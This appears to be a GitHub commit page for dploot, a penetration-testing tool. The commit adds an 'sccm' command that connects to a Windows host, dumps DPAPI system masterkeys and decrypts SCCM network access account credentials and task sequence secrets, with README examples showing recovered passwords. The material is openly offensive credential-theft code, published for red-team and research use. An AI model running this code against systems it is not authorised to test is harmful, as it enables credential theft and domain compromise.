Skip to content

Commit

Permalink
Adding SCCM secrets to dploot (#11)
Browse files Browse the repository at this point in the history
* Recovering SCCM secrets from DPAPI

* Update sccm.py helper

* update readme

---------

Co-authored-by: Sant0rryu <[email protected]>
  • Loading branch information
Sant0rryu and Sant0rryu authored Mar 7, 2024
1 parent 72de827 commit 831069a
Show file tree
Hide file tree
Showing 4 changed files with 363 additions and 5 deletions.
33 changes: 29 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -32,6 +32,7 @@ If you don't know what is DPAPI, [check out this post](https://posts.specterops.
- [machinetriage](#machinetriage)
- [Misc](#misc)
- [wifi](#wifi)
- [sccm](#sccm)
- [backupkey](#backupkey)
- [Credits](#credits)
- [TODO](#TODO)
Expand Down Expand Up @@ -544,7 +545,7 @@ Unknown : Password!123
The **machinevaults** command will get any machine Vaults file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI Vaults blob.

```text
$ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -debug
$ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' 192.168.56.14
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage SYSTEM masterkeys
Expand All @@ -563,7 +564,7 @@ Key2: 0x1514dd2c8f278ac517cf1ae09255aeaff62219a019bc21ac35321c040064b0b5

### machinecertificates

The **machinecertificates** command will get any machine private key file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot willdump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.
The **machinecertificates** command will get any machine private key file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.

It will also dump machine CAPI certificates blob with RemoteRegistry.

Expand Down Expand Up @@ -613,7 +614,7 @@ The machinetriage command runs the [machinecredentials](#machinecredentials), [m

#### wifi

The **wifi** command will get any wifi xml configuration file file and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot willdump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.
The **wifi** command will get any wifi xml configuration file and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.

```text
$ dploot wifi -d waza.local -u Administrator -p 'Password!123' 192.168.57.5
Expand Down Expand Up @@ -665,9 +666,33 @@ EapHostConfig:
[snip]
```

#### sccm

The **sccm** command will retrieve NAA credentials, collection variables and tasks sequences credentials from the remote target and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob. Using `-wmi` will dump SCCM secrets from WMI requests results.

```text
$ dploot sccm -d waza.local -u jsmith -p 'Password#123' 192.168.56.14
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage SYSTEM masterkeys
{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
[*] Triage SCCM Secrets
[NAA Account]
Username: NAAAccount
Password: Password!123
[snip]
```

#### backupkey

The **backupkey** command will retrieve the domaain DPAPI backup key from a domain controller using [MS-LDAD](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-lsad/1b5471ef-4c33-4a91-b079-dfcbb82f05cc). This key never changes and can decrypt any domain user DPAPI protected secret. Domain Admin privileges are required.
The **backupkey** command will retrieve the domain DPAPI backup key from a domain controller using [MS-LDAD](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-lsad/1b5471ef-4c33-4a91-b079-dfcbb82f05cc). This key never changes and can decrypt any domain user DPAPI protected secret. Domain Admin privileges are required.

By default, this command will write the domain backup key into a file called key.pvk, but you can change this with `outputfile` flag. It is also possible to dump legacy backup key with `legacy` flag.

Expand Down
128 changes: 128 additions & 0 deletions dploot/action/sccm.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,128 @@
import argparse
import logging
import os
import sys
from typing import Callable, Tuple
from dploot.action.masterkeys import add_masterkeys_argument_group, parse_masterkeys_options

from dploot.lib.smb import DPLootSMBConnection
from dploot.lib.target import Target, add_target_argument_group
from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
from dploot.triage.sccm import SCCMTriage

NAME = 'sccm'

class SCCMAction:

def __init__(self, options: argparse.Namespace) -> None:
self.options = options
self.target = Target.from_options(options)

self.conn = None
self._is_admin = None
self._users = None
self.outputdir = None
self.masterkeys = None
self.pvkbytes = None

self.outputdir = handle_outputdir_option(dir= self.options.export_sccm)

if self.options.mkfile is not None:
try:
self.masterkeys = parse_masterkey_file(self.options.mkfile)
except Exception as e:
logging.error(str(e))
sys.exit(1)

self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(self.options, self.target)

def connect(self) -> None:
self.conn = DPLootSMBConnection(self.target)
if self.conn.connect() is None:
logging.error("Could not connect to %s" % self.target.address)
sys.exit(1)

def run(self) -> None:
self.connect()
logging.info("Connected to %s as %s\\%s %s\n" % (self.target.address, self.target.domain, self.target.username, ( "(admin)"if self.is_admin else "")))
if self.is_admin:
if self.masterkeys is None:
triage = MasterkeysTriage(target=self.target, conn=self.conn)
logging.info("Triage SYSTEM masterkeys\n")
self.masterkeys = triage.triage_system_masterkeys()
if not self.options.quiet:
for masterkey in self.masterkeys:
masterkey.dump()
print()

triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys, use_wmi=self.options.wmi)
logging.info('Triage SCCM Secrets\n')
sccmcreds, sccmtasks, sccmcollections = triage.triage_sccm()
for sccm_cred in sccmcreds:
if self.options.quiet:
sccm_cred.dump_quiet()
else:
sccm_cred.dump()
for sccm_task in sccmtasks:
if self.options.quiet:
sccm_task.dump_quiet()
else:
sccm_task.dump()
for sccm_collection in sccmcollections:
if self.options.quiet:
sccm_collection.dump_quiet()
else:
sccm_collection.dump()
else:
logging.info("Not an admin, exiting...")

@property
def is_admin(self) -> bool:
if self._is_admin is not None:
return self._is_admin

self._is_admin = self.conn.is_admin()
return self._is_admin

def entry(options: argparse.Namespace) -> None:
a = SCCMAction(options)
a.run()

def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:

subparser = subparsers.add_parser(NAME, help="Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from remote target")

group = subparser.add_argument_group("sccm options")

group.add_argument(
"-mkfile",
action="store",
help=(
"File containing {GUID}:SHA1 masterkeys mappings"
),
)

add_masterkeys_argument_group(group)

group.add_argument(
"-export-sccm",
action="store",
metavar="DIR_SCCM",
help=(
"Dump looted SCCM secrets to specified directory"
)
)

group.add_argument(
"-wmi",
action="store_true",
help=(
"Dump SCCM secrets from WMI requests results"
)
)

add_target_argument_group(subparser)

return NAME, entry

4 changes: 3 additions & 1 deletion dploot/entry.py
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,7 @@
vaults,
backupkey,
rdg,
sccm,
triage,
machinemasterkeys,
machinecredentials,
Expand All @@ -30,6 +31,7 @@
vaults,
backupkey,
rdg,
sccm,
triage,
machinemasterkeys,
machinecredentials,
Expand Down Expand Up @@ -81,4 +83,4 @@ def main() -> None:


if __name__ == "__main__":
main()
main()
Loading

0 comments on commit 831069a

Please sign in to comment.